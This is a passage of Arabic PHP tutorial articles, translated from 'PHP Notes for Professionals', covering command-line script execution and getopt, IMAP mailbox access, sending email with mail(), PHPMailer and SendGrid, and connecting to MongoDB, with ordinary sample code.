السحرية __DIR__ و__FILE__ تبقى تعمل كما هو متوقع وتُرجع موقع السكربت). لا يوجد مخزن مؤقت للخرج، القيم الافتراضية لموجهات الملف php.ini ‏output_buffering وimplicit_flush هي false وtrue على الترتيب. ويبقى المخزن المؤقت متوفرًا لكن يجب تمكينه بشكلٍ صريح وإلا سيُعرض الخرج دائمًا في الوقت الحقيقي. لا يوجد قيد زمني، يُضبط الموجه max_execution_time في الملف php.ini إلى القيمة صفر لذا لن ينتهي وقت تنفيذ السكربتات بشكلٍ افتراضي. لا توجد أخطاء HTML، إذا مكّنت الموجّه html_errors في ملف php.ini سيتجاهله سطر الأوامر. يمكن تحميل ملفات php.ini مختلفة، إذا كنت تستخدم PHP من CLI يمكنك تحميل ملفات php.ini مختلفة وهذا غير متاح عند التنفيذ على خادم ويب، يمكنك أن تعرف ما هو الملف المستخدم بتنفيذ الأمر php ‎--ini‎. تنفيذ السكربت في كل من لينوكس/يونكس أو ويندوز يمكن تمرير الملف كوسيط إلى PHP القابلة للتنفيذ مع خيارات ووسائط السكربت: php ~/example.php foo bar c:\php\php.exe c:\example.php foo bar تمرر الشيفرة السابقة الوسائط foo وbar إلى الملف example.php. الطريقة المفضلة لتنفيذ السكربتات في لينوكس/يونكس هي استخدام Shebang (سطر يبدأ بالسلسلة النصية "‎ #! ‎") مثل ‎#!/usr/bin/env php في السطر الأول من الملف وضبط البت القابل للتنفيذ على الملف، بفرض أنّ السكربت في مسارك يمكنك عندها استدعاؤه مباشرةً: example.php foo bar إنّ استخدام ‎/usr/bin/env php‎ يجعل من الممكن العثور على PHP القابلة للتنفيذ باستخدام PATH. وفقًا لكيفية تثبيت PHP قد لا تكون موجودة في نفس المكان (مثل ‎/usr/bin/php‎ أو ‎/usr/local/bin/php) على عكس env المتوفرة عادةً في ‎/usr/bin/env. في ويندوز قد تحصل على نفس النتيجة بإضافة مجلد PHP والسكربت الخاص بك إلى PATH وتعديل PATHEXT ليسمح باكتشاف ‎.php باستخدام PATH، الاحتمال الآخر هو إضافة ملف باسم example.bat أو example.cmd في نفس المجلد الموجود به سكربت PHP وكتابة هذا السطر فيه: c:\php\php.exe "%~dp0example.php" %* أو إذا أضفت مجلد PHP داخل PATH: php "%~dp0example.php" %* حالات متقدمة لاستخدام getopt()‎ يظهر هذا المثال سلوك getopt عندما يكون دخل المستخدم غير شائع، محتويات الملف getopt.php: var_dump( getopt("ab:c::", ["delta", "epsilon:", "zeta::"]) ); سطر أوامر الصدفة: $ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma array(6) { ["a"]=> array(2) { [0]=> bool(false) [1]=> bool(false) } ["b"]=> array(2) { [0]=> string(4) "beta" [1]=> string(4) "beta" } ["c"]=> array(2) { [0]=> string(5) "gamma" [1]=> bool(false) } ["delta"]=> bool(false) ["epsilon"]=> string(6) "--zeta" ["zeta"]=> string(1) "f" } يمكننا أن نلاحظ من المثال السابق: تحمل الخيارات الفردية (بدون نقطتان) دائمًا القيمة المنطقية false إذا مُكِّنت. إذا كُرِّر خيار ما فإنّ قيمة خرج getopt ستصبح مصفوفة. تقبل خيارات الوسيط المطلوب (بنقطتين) فراغ واحد أو عدم وجود فراغ (مثل خيارات الوسيط الاختيارية) كفاصل. بعد وجود وسيط واحد لا يمكن ربطه بأي خيار فإنّ الخيارات التالية لن تُربط أيضًا. تشغيل خادم ويب مدمج أصبحت PHP بدءًا من الإصدار PHP 5.4 تأتي مع خادم مدمج، يمكن استخدامه لتنفيذ تطبيق بدون الحاجة لتثبيت أي خادم http مثل nginx أو apache، صُمم الخادم المدمج في بيئة المتحكم فقط لأهداف التطوير والاختبار، يمكن تنفيذه باستخدام الأمر php -S ولاختباره ننشئ الملف index.php ونكتب فيه: <?php echo "Hello World from built-in PHP server"; وننفذ الأمر: php -S localhost:8080 يجب أن تكون الآن قادرًا على رؤية المحتوى في المتصفح، للتحقق من ذلك انتقل إلى المسار http://localhost:8080 ، ويجب أن يؤدي كل وصول إلى مدخل سجل يُكتب في الطرفية (Terminal). [Mon Aug 15 18:20:19 2016] ::1:52455 [200]: / ترجمة -وبتصرف- للفصل [Command Line Interface (CLI)‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP المقال السابق: ملاحظات حول استعمال بروتوكول IMAP في PHP
  15. الاتصال إلى صندوق البريد (mailbox) للقيام بأي فعل مع حساب IMAP (‏Internet Message Access Protocol) تحتاج للاتصال به أولًا، ولتتصل تحتاج لتحديد بعض المعاملات المطلوبة: اسم الخادم أو عنوان IP لخادم البريد (mail server). المنفذ الذي تريد الاتصال به: منفذ IMAP هو 143 أو993 (آمن). منفذ POP (‏Post Office Protocol‏) هو 110 أو995 (آمن). منفذ SMTP (‏Simple Mail Transfer Protocol) هو 25 أو465 (آمن). منفذ NNTP (‏Network News Transfer Protocol) هو 119 أو563 (آمن). رايات الاتصال: موضحة في الجدول التالي: الراية الوصف الخيارات القيمة الافتراضية ‎/service=service الخدمة التي نريد استخدامها imap,pop3,nntp, smtp imap ‎/user=user اسم المستخدم البعيد لتسجيل الدخول على الخادم ‎/authuser=user مستخدم المصادقة عن بعد، إذا حُدِّد فهذا هو اسم المستخدم الذي تُستخدم كلمة المرور الخاصة به ‎/anonymous الوصول البعيد كمستخدم غريب ‎/debug تسجيل بروتوكول القياس عن بعد في سجل أخطاء التطبيق disabled ‎/secure لا ترسل كلمة المرور كنص عادي عبر الشبكة ‎/norsh ‫لا تستخدم rsh أو ssh لتأسيس جلسة IMAP مسبقة الوثوقية ‎/ssl استخدم طبقة المقبس الآمنة لتشفير الجلسة ‎/validate-cert ‫ترخيص من خادم TLS/SSL enabled ‎/novalidate-cert ‫لا تتحقق من شهادات الخادم TLS/SSL، نحتاجها إذا كان الخادم يستخدم شهادات ذاتية التوقيع، استخدم هذه الراية بحذر disabled ‎/tls ‫فرض استخدام طريقة start-TLS لتشفير الجلسة ورفض الاتصال بالخوادم التي لا تدعمها ‎/notls لا تستخدم طريقة start-TLS لتشفير الجلسة حتى لو كانت الخوادم تدعمها ‎/readonly ‫طلب فتح صندوق البريد للقراءة فقط (في IMAP فقط، يتم تجاهلها مع NNTP ويعطي خطأ مع SMTP وPOP3) table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } ستبدو سلسلة الاتصال بالشكل التالي: {imap.example.com:993/imap/tls/secure} لاحظ أنّه إذا كان أي محرف في سلسة الاتصال غير مرمّز بالترميز ASCII فيجب ترميزه باستخدام utf7_encode($string)‎. نستخدم الأمر imap open للاتصال إلى صندوق البريد، يعيد هذا الأمر قيمة مورد تشير إلى مجرى: <?php $mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password"); if ($mailbox === false) { echo "Failed to connect to server"; } تحميل الإضافة IMAP نحتاج لتثبيت الإضافة IMAP حتى نتمكن من استخدام دوال IMAP في PHP. التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php5-imap sudo php5enmod imap التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php7.0-imap التثبيت في التوزيعات المعتمدة على YUM sudo yum install php-imap التثبيت في إصدارات نظام التشغيل ماك مع php5.6 brew reinstall php56 --with-imap إنشاء قائمة بكل مجلدات صندوق البريد عندما تتصل بصندوق البريد الخاص بك، سترغب في إلقاء نظرة بداخله، الأمر الأول المفيد في هذه الحالة هو imap list، المعامل الأول هو المورد الذي حصلت عليه من imap_open والثاني هو صندوق البريد الخاص بك والثالث سلسلة بحث غامضة (نستخدم * لمطابقة أي نمط). $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*"); if ($folders === false) { echo "Failed to list folders in mailbox"; } else { print_r($folders); } يجب أن يكون الخرج مشابهًا للتالي: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX [1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent [2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts [3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk [4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash ) يمكننا استخدام المعامل الثالث لترشيح هذه النتائج بالشكل التالي: $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*.Sent"); عندها ستحتوي النتيجة على المداخل التي فيها السلسلة النصية ‎.Sent في الاسم: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent ) ملاحظة: سيعيد استخدام * للبحث الغامض كل التطابقات بشكلٍ متكرر، ويعيد استخدام % التطابقات في المجلد الحالي المحدد فقط. البحث عن الرسائل في صندوق البريد يمكنك أن تستخدم imap_headers لتحصل على قائمة بكل الرسائل الموجودة في صندوق البريد. <?php $headers = imap_headers($mailbox); تكون النتيجة مصفوفة من السلاسل النصية بالنمط التالي: [FLAG] [MESSAGE-ID])[DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE] chars) إليك عينة عن الشكل الذي سيبدو عليه كل سطر: A 1)19-Aug-2016 someone@example.com Message Subject (1728 chars) D 2)19-Aug-2016 someone@example.com RE: Message Subject (22840 chars) U 3)19-Aug-2016 someone@example.com RE: RE: Message Subject (1876 chars) N 4)19-Aug-2016 someone@example.com RE: RE: RE: Message Subje (1741 chars) الرمز الراية المعنى A Answered تم الرد على هذه الرسالة D Deleted ‫حُذفت الرسالة (ولم تُزال نهائيًا) F Flagged مُيِّزت هذه الرسالة للفت الانتباه N New الرسالة جديدة ولم تُقرأ بعد R Recent الرسالة جديدة ومقروءة U Unread الرسالة لم تُقرأ بعد X Draft الرسالة مسودة لاحظ أنّ هذا الاستدعاء سيأخذ بعض الوقت ليُنفَّذ وقد يعيد قائمة طويلة جدًا، الخيار البديل هو تحميل الرسائل بشكلٍ منفصل وفقًا للحاجة، يُسند معرِّف لكل بريد إلكتروني من الرقم 1 (الأقدم) وحتى قيمة imap_num_msg($mailbox)‎. يوجد عدة دوال للوصول إلى بريد إلكتروني مباشرةً، لكن أبسط طريقة هي استخدام الدالة imap_header التي تُرجع معلومات ترويسة مهيكلة: <?php $header = imap_headerinfo($mailbox , 1); stdClass Object ( [date] => Wed, 19 Oct 2011 17:34:52 +0000 [subject] => Message Subject [message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490> [references] => <ec129beef8a113c941ad68bdaae9@example.com> [toaddress] => Some One Else <someoneelse@example.com> [to] => Array ( [0] => stdClass Object ( [personal] => Some One Else [mailbox] => someonelse [host] => example.com ) ) [fromaddress] => Some One <someone@example.com> [from] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [reply_toaddress] => Some One <someone@example.com> [reply_to] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [senderaddress] => Some One <someone@example.com> [sender] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [Recent] => [Unseen] => [Flagged] => [Answered] => [Deleted] => [Draft] => [Msgno] => 1 [MailDate] => 19-Oct-2011 17:34:48 +0000 [Size] => 1728 [udate] => 1319038488 ) ترجمة -وبتصرف- للفصول [IMAP] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التعامل مع واجهة سطر الأوامر (CLI) في PHP المقال السابق: كيفية إرسال بريد إلكتروني في PHP
  16. معاملات الدالة mail()‎ في PHP: المعامل تفاصيل string $to عنوان البريد الإلكتروني للمستقبل string $subject الموضوع string $message محتوى البريد الإلكتروني string $additional_headers معامل اختياري: ترويسات لإضافتها إلى البريد الإلكتروني string $additional_parameters معامل اختياري: وسائط لتمريرها إلى تطبيق البريد الإلكتروني المرسل المُعد في سطر الأوامر table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } أساسيات إرسال بريد إلكتروني مع مثال يتألف البريد الإلكتروني النموذجي من ثلاثة مكونات أساسية: مُستقبِل (يُمثَّل كعنوان بريد إلكتروني) موضوع جسم الرسالة يمكن أن يكون إرسال بريد إلكتروني بسيطًا مثل استدعاء الدالة المضمنة mail()‎، تأخذ هذه الدالة حتى 5 معاملات، أول ثلاث معاملات هي المطلوبة فقط لإرسال بريد إلكتروني (ومن الشائع استخدام المعامل الرابع كما سنوضح في المثال أدناه)، المعاملات الثلاثة الأولى هي: عنوان البريد الإلكتروني للمستقبل (سلسلة نصية). موضوع البريد الإلكتروني (سلسلة نصية). جسم البريد الإلكتروني (سلسلة نصية) (أي محتوى البريد الإلكتروني). الشيفرة التالية توضح مثال بسيط: mail('recipient@example.com', 'Email Subject', 'This is the email message body'); يعدّ المثال السابق جيدًا في بعض الحالات مثل توفير القيمة في شيفرة (بدلًا من جلبها من مصدر خارجي) عند إرسال بريد إلكتروني للتنبيه في نظام داخلي. لكن من الشائع وضع المعاملات الممررة كمعاملات للدالة mail()‎ في متغيرات لجعل الشيفرة أنظف وأسهل في الإدارة (مثلًا لإنشاء بريد إلكتروني ديناميكي بعد إرسال نموذج). بالإضافة إلى ذلك تقبل الدالة mail()‎ معاملًا رابعًا يسمح لك بإضافة ترويسات في البريد الإلكتروني المرسل، يمكن أن تسمح لك هذه الترويسات بضبط: اسم المرسل وعنوان البريد الإلكتروني الذي سيظهر لدى المستخدم. عنوان البريد الإلكتروني للحقل Reply-To والذي سيُرسل إليه رد المستخدم. ترويسات إضافية غير معيارية مثل X-Mailer والتي تخبر المستقبل أن هذا البريد الإلكتروني أُرسل عبر PHP. // ‫يمكن أن تكون ‎$to = $_POST['recipient'];‎ $to = 'recipient@example.com'; // ‫يمكن أن تكون ‎$subject = $_POST['subject'];‎ $subject = 'Email Subject'; // ‫يمكن أن تكون ‎$message = $_POST['message'];‎ $message = 'This is the email message body'; $headers = implode("\r\n", [ 'From: John Conde <webmaster@example.com>', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION ]); يمكن أن يُستخدم المعامل الخامس الاختياري لتمرير رايات إضافية مثل خيارات سطر الأوامر إلى البرنامج المُعدّ ليستخدم عند إرسال بريد إلكتروني كما هو معرَّف في ضبط الإعداد sendmail_path، يمكن استخدامه مثلًا لضبط عنوان المرسل عند استخدام الأمر sendmail/postfix مع الخيار ‎-f لإرسال بريد إلكتروني. $fifth = '-fno-reply@example.com'; على الرغم من أن استخدام الدالة mail()‎ يمكن أن يكون موثوقًا إلى حد كبير، إلا أنّه لا يوجد ما يضمن إرسال البريد الإلكتروني عند كل استدعاء لها، لذا يجب أن تلتقط القيمة المُرجعة منها لتعرف ما إذا كان هناك خطأ محتمل عند إرسال بريدك الإلكتروني، إذ أنّ الدالة ستُرجع القيمة TRUE إذا قُبل البريد الإلكتروني بنجاح للتسليم وإلا ستُرجع القيمة FALSE. $result = mail($to, $subject, $message, $headers, $fifth); ملاحظة: إنّ إرجاع الدالة mail()‎ للقيمة TRUE لا يعني أنّ البريد الإلكتروني أُرسل أو أنّه سيُستقبَل بنجاح، إنما فقط يدل على أنّ البريد الإلكتروني سُلِّم بنجاح إلى نظام البريد الإلكتروني الخاص بك. تحتاج إلى بعض الخطوات الإضافية لترسل بريد إلكتروني بصيغة HTML: إضافة الترويسة MIME-Version. إضافة الترويسة Content-Type. التأكد من أنّ محتوى البريد الإلكتروني بصيغة HTML. $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = '<html><body>This is the email message body</body></html>'; $headers = implode("\r\n", [ 'From: John Conde <webmaster@example.com>', 'Reply-To: webmaster@example.com', 'MIME-Version: 1.0', 'Content-Type: text/html; charset=ISO-8859-1', 'X-Mailer: PHP/' . PHP_VERSION ]); إليك مثال كامل لاستخدام الدالة mail()‎: // ‫أدوات تنقيح الأخطاء، شغّلها في بيئة التطوير الخاصة بك فقط. error_reporting(-1); ini_set('display_errors', 'On'); set_error_handler("var_dump"); // ‫إعدادات بريد إلكتروني خاصة يمكن أن تقلل من احتمال جعل البريد الإلكتروني الخاص بك غير مرغوب فيه وتوفر تسجيل دخول في حالة وجود صعوبات تقنية. ini_set("mail.log", "/tmp/mail.log"); ini_set("mail.add_x_header", TRUE); // مكونات بريدنا الإلكتروني $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = 'This is the email message body'; $headers = implode("\r\n", [ 'From: webmaster@example.com', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION ]); // إرسال البريد الإلكتروني $result = mail($to, $subject, $message, $headers); // ‫التحقق من النتائج والتفاعل وفقًا لذلك. if ($result) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { // (2) } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. في الموضع (2) لم يُرسل البريد الإلكتروني، تحقق من السجلات لمعرفة السبب. يمكنك الاطلاع أيضًا على: التوثيق الرسمي: mail إعدادات الدالة mail أسئلة ذات صلة من موقع stack overflow: الدالة mail لا تُكمل إرسال البريد الإلكتروني. كيف تتأكد من أنّ بريدك الإلكتروني المُرسل لا يُصنف ضمن البريد الإلكتروني غير المرغوب فيه. كيف تستخدم SMTP لإرسال بريد إلكتروني. ضبط إعدادات مرسل البريد الإلكتروني. خدمات بريد إلكتروني بديلة: PHPMailer‏ SwiftMailer PEAR::Mail مخدمات بريد إلكتروني: Mercury Mail (Windows) مواضيع ذات صلة: Post/Redirect/Get إرسال بريد إلكتروني يحتوي على صيغة HTML باستخدام الدالة mail()‎ <?php $to = 'recipent@example.com'; $subject = 'Sending an HTML email using mail() in PHP'; $message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>'; $headers = implode("\r\n", [ "From: John Conde <webmaster@example.com>", "Reply-To: webmaster@example.com", "X-Mailer: PHP/" . PHP_VERSION, "MIME-Version: 1.0", "Content-Type: text/html; charset=UTF-8" ]); mail($to, $subject, $message, $headers); لا يختلف هذا كثيرًا عن إرسال بريد إلكتروني يحتوي على نص بسيط⁢، الاختلافات الرئيسة هي أنّ المحتوى عبارة عن ملف HTML ويوجد ترويستين إضافيتين يجب تضمينهما حتى يعرف البريد الإلكتروني للعميل أنّ البريد الإلكتروني بصيغة HTML وهما: MIME-Version: 1.0 Content-Type: text/html; charset=UTF-8 إرسال بريد إلكتروني مع مرفق باستخدام الدالة mail()‎ إليك المثال التالي: <?php $to = 'recipient@example.com'; $subject = 'Email Subject'; $message = 'This is the email message body'; $attachment = '/path/to/your/file.pdf'; $content = file_get_contents($attachment); // (1) $content = chunk_split(base64_encode($content)); //(2) $prefix = "part_"; // (3) // (4) $boundary = uniqid($prefix, true); // الترويسات $headers = implode("\r\n", [ 'From: webmaster@example.com', 'Reply-To: webmaster@example.com', 'X-Mailer: PHP/' . PHP_VERSION, 'MIME-Version: 1.0', // معامل الحد مطلوب ويجب أن يكون ضمن علامات اقتباس 'Content-Type: multipart/mixed; boundary="' . $boundary . '"', "Content-Transfer-Encoding: 7bit", "This is a MIME encoded message." // message for restricted transports ]); // الرسالة والمرفق $message = implode("\r\n", [ "--" . $boundary, // (5) 'Content-Type: text/plain; charset="iso-8859-1"', "Content-Transfer-Encoding: 8bit", $message, "--" . $boundary, // (6) 'Content-Type: application/octet-stream; name="RenamedFile.pdf"', "Content-Transfer-Encoding: base64", "Content-Disposition: attachment", $content, "--" . $boundary . "--" // (7) ]); // إرسال البريد الإلكتروني $result = mail($to, $subject, $message, $headers); if ($result) { // (8) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { // (9) } في الموضع (1) يجب تقسيم محتوى المرفق المُرسل باستخدام تشفير Base64 إلى أجزاء بطول 76 محرفًا كما هو محدد في القسم 6.8 من RFC 2045، تستخدم الدالة chunk_split()‎ بشكلٍ افتراضي طول الجزء 76 مع CRLF زائدة ‎(\r\n)‎، لا يتضمن متطلب 76 محرفًا المحارف carriage return وline feed. في الموضع (2) تحدد الحدود الكيانات متعددة الأجزاء، يجب ألا يكون الحد في أي جزء مغلف كما هو مذكور في القسم 5.1 من RFC 2046 لذا يجب أن يكون فريدًا، وكما هو مذكور في القسم 5.1.1 التالي فإنّ الحدّ يُعرَّف على أنّه خط يتألف من موصلين ("--") وقيمة معامل ومسافة خطية اختيارية وCRLF نهائية. في الموضع (3) بادئة اختيارية. في الموضع (4) إنشاء قيمة معامل حد فريدة مع البادئة باستخدام الدالة uniqid()‎، المعامل الثاني يجعل قيمة المعامل فريدة أكثر. في الموضع (5) محدد حد الترويسة في الموضع (6) محدد حد المحتوى في الموضع (7) محدد حد الإغلاق في الموضع (8) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. في الموضع (9) لم يُرسل البريد الإلكتروني، تحقق من السجلات لمعرفة السبب. ترميز نقل المحتوى الترميزات المتاحة هي 7 بت، 8 بت، الثنائي، مقتبس قابل للطباعة (quoted-printable)، الأساس 64 (base64)، ‏ietf-token وx-token، من هذه الترميزات عندما يكون Content-Type متعدد الأجزاء فإنّ ترميز نقل المحتوى يجب ألّا يكون أي قيمة أخرى غير 7 بت أو 8 بت أو ثنائي. نختار في مثالنا ترميز 7 بت الذي يمثّل محارف US-ASCII للترويسة متعددة الأجزاء لأنّ بعض البروتوكولات تدعم هذا الترميز فقط، ويمكن بعدها تشفير البيانات ضمن الحدود على أساس كل جزء على حدة، وهذا ما يفعله هذا المثال بالضبط. الجزء الأول الذي يتضمن رسالة من النوع text/plain يُعرَّف على أنّه 8 بت بما أنّه قد يكون من الضروري أن يدعم محارف إضافية، في هذه الحالة تُستخدم مجموعة المحارف Latin1 (iso-8859-1)‎، الجزء الثاني هو المرفق لذا يُعرَّف على أنّه بترميز الأساس 64 application/octet-stream. بما أنّ الأساس 64 يحوّل البيانات إلى المجال 7 بت، يمكن أن تُرسَل عبر عمليات نقل مقيدة. إرسال بريد إلكتروني يحتوي على نص بسيط باستخدام PHPMailer بريد إلكتروني يحتوي على نص بسيط <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email using PHPMailer."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Mailer Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إضافة مستقبلين إضافيين، مستقبلين نسخة إضافية (CC)، مستقبلين نسخة إضافية محجوبين (BCC) <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->addAddress("recepient1@example.com", "Recepient Name"); $mail->addAddress("recepient2@example.com"); $mail->addCC("cc@example.com"); $mail->addBCC("bcc@example.com"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email using PHPMailer."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني باستخدام PHPMailer إليك مثال عن إرسال بريد إلكتروني يحتوي على صيغة HTML باستخدام PHPMailer: <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->addAddress("recepient1@example.com", "Recepient Name"); $mail->addAddress("recepient2@example.com"); $mail->addCC("cc@example.com"); $mail->addBCC("bcc@example.com"); $mail->Subject = "Subject Text"; $mail->isHTML(true); $mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>"; $mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic."; if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني مع مرفق باستخدام PHPMailer <?php $mail = new PHPMailer(); $mail->From = "from@example.com"; $mail->FromName = "Full Name"; $mail->addReplyTo("reply@example.com", "Reply Address"); $mail->Subject = "Subject Text"; $mail->Body = "This is a sample basic text email with an attachment using PHPMailer."; // إضافة مرفق ثابت $attachment = '/path/to/your/file.pdf'; $mail->AddAttachment($attachment , 'RenamedFile.pdf'); // ‫إضافة مرفق ثانٍ يُنشأ وقت التنفيذ مثل CSV ليُفتح باستخدام إكسل $csvHeader = "header1,header2,header3"; $csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3"; $mail->AddStringAttachment($csvHeader ."\n" . $csvData, 'your-csv-file.csv', 'base64', 'application/vnd.ms-excel'); if($mail->send()) { // (1) header('Location: http://example.com/path/to/thank-you.php', true, 303); exit; } else { echo "Error: " . $mail->ErrorInfo; } في الموضع (1) تكون الدالة أرجعت القيمة TRUE وسيُعاد التوجيه إلى صفحة thank-you، نستخدم النمط POST/REDIRECT/GET لمنع إعادة إرسال النموذج عندما يحدّث المستخدم الصفحة. إرسال بريد إلكتروني يحتوي على نص بسيط باستخدام Sendgrid بريد إلكتروني يحتوي على نص بسيط <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setText("This is a sample basic text email using "); $sendgrid->send($email); إضافة مستقبلين إضافيين، مستقبلين نسخة إضافية (CC)، مستقبلين نسخة إضافية محجوبين (BCC) <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is italic.</i></p></body></html>"); $personalization = new Personalization(); $email = new Email("Recepient Name", "recepient1@example.com"); $personalization->addTo($email); $email = new Email("RecepientCC Name", "recepient2@example.com"); $personalization->addCc($email); $email = new Email("RecepientBCC Name", "recepient3@example.com"); $personalization->addBcc($email); $email->addPersonalization($personalization); $sendgrid->send($email); إرسال بريد إلكتروني مع مرفق باستخدام Sendgrid إليك الشيفرة الكاملة: <?php $sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY"); $email = new SendGrid\Email(); $email->addTo("recipient@example.com") ->setFrom("sender@example.com") ->setSubject("Subject Text") ->setText("This is a sample basic text email using "); $attachment = '/path/to/your/file.pdf'; $content = file_get_contents($attachment); $content = chunk_split(base64_encode($content)); $attachment = new Attachment(); $attachment->setContent($content); $attachment->setType("application/pdf"); $attachment->setFilename("RenamedFile.pdf"); $attachment->setDisposition("attachment"); $email->addAttachment($attachment); $sendgrid->send($email); ترجمة -وبتصرف- للفصل [Sending Email] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: ملاحظات حول استعمال بروتوكول IMAP في PHP المقال السابق: استخدام MongoDB و Redis في PHP
  17. كل شيء بين MongoDB و PHP المتطلبات خادم MongoDB يعمل على منفذ والذي هو 27017 عادةً. (اكتب mongod في موجه الأوامر لتشغيل خادم mongod) لغة php مثبّتة إما باستخدام cgi أو fpm مع إضافة MongoDB (إضافة MongoDB لا توجد مع php بشكلٍ افتراضي). مكتبة المُنشئ (Composer) (‏mongodb/mongodb). نفّذ التعليمة php composer.phar require "mongodb/mongodb=^1.0.0"‎ في المجلد الجذر للمشروع لتثبيت مكتبة MongoDB). إذا تأكدت من المتطلبات يمكنك بعدها الانتقال للخطوة التالية: التحقق من تثبيت php: نفّذ التعليمة php -v في موجه الأوامر إذا لم تكن متأكدًا من أنّها مثبّتة لديك وستُرجع مايشبه التالي: PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies التحقق من تثبيت MongoDB: وذلك بتنفيذ التعليمة mongo --version والتي ستُرجع MongoDB shell version: 3.2.6. التحقق من تثبيت المُنشئ: وذلك بتنفيذ التعليمة php composer.phar --version التي ستُرجع Composer version 1.2-dev (3d09c17b489cd29a0c0b3b11e731987e7097797d) 2016-08-30 16:12:39. الاتصال من php إلى MongoDB <?php // ‫يجب أن يشير هذا المسار إلى المحمِّل التلقائي للمُنشئ من المكان حيث يجب أن تُحمَّل مكتبة MongoDB require 'vendor/autoload.php'; // استخدام اسم مستخدم وكلمة مرور مخصَّصَين try { $mongo = new MongoDB\Client('mongodb://username:password@localhost:27017'); print_r($mongo->listDatabases()); } catch (Exception $e) { echo $e->getMessage(); } // استخدام إعدادات افتراضية try { $mongo = new MongoDB\Client('mongodb://localhost:27017'); print_r($mongo->listDatabases()); } catch (Exception $e) { echo $e->getMessage(); } ستتصل الشيفرة السابقة باستخدام مكتبة المُنشئ MongoDB (‏mongodb/mongodb) المضمّنة بالشكل vendor/autoload.php للاتصال بخادم MongoDB? الذي يعمل على المنفذ 27017. ستتصل إذا كان كل شيء صحيحًا 